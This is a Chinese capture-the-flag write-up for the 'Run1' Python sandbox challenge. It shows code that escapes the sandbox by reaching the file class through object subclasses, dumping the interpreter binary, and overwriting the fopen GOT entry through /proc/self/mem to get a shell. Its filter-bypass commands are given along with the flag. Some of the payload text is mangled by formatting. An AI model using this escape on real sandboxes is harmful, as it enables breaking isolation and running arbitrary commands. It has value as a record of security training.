Run1 攻防世界

🐫 7分

题目描述

> Run away! nc **.**.**.** XXXX

解题

python 沙箱逃逸,通过基类中的`file`,抓取`python`的elf文件,通过`/proc`修改GOT表,劫持`file`->`system` 从而 **getshell**

- Step 1

上来一通`fuzz`之后,发现七七八八的全部被`ban`,而通过`()`基类中的`file` 可以进行文件读取

- Step 2

linux proc文件系统(`http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html`)

通过`('/usr/bin/python','r').read()`把`python`进程dump下来

Python

```
sh echo "print ().__class__.__bases__[0].__subclasses__()[40]
('/usr/bin/python','r').read()"|nc 127.0.0.1 9999 > python
```

- Step 3

修复下`dump`下来的elf文件,objdump分析下

Python

```
objdump -R pyhton|grep -E "system|fopen" 00000000008de2b8 R_X86_64_JUMP_SLOT
system@GLIBC_2.2.5 00000000008de8c8 R_X86_64_JUMP_SLOT fopen64@GLIBC_2.2.5
```

Step 4

读取`system`地址将其写入`fopen`中,调用`fopen`即可getshell,还有`cat` and `ls`的命令绕过

Python

```
> > > (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8))
or (). **class**. **bases** [0]. **subclasses** ()[40]( "l'+'s"))((). 
**class**. **bases** [0]. **subclasses** ()[40]( "/proc/self/mem','r"),(). 
**class**. **bases** [0]. **subclasses** ()[40]( "/proc/self/mem', 'w', 0\)\)

5c72a1d444cf3121a5d25f2db4147ebb

bin

cpython.py

cpython.pyc

sandbox.py

\(lambda r,w:r.seek\(0x08de2b8\) or w.seek\(0x08de8c8\) or
w.write\(r.read\(8\)\) or
\(\).__class__.__bases__\[0\].__subclasses__\(\)\[40\]\('c'+'at
5c72a1d444cf3121a5d25f2db4147ebb"))((). **class**. **bases** [0].
**subclasses** ()[40]( "/proc/self/mem','r"),(). **class**. **bases** [0].
**subclasses** ()[40]('/proc/self/mem', 'w', 0))
flag{eee93c33d97aa55f785a7d10ba4ae3ce} unknow error,try again :> ```

## **[Summary]**
```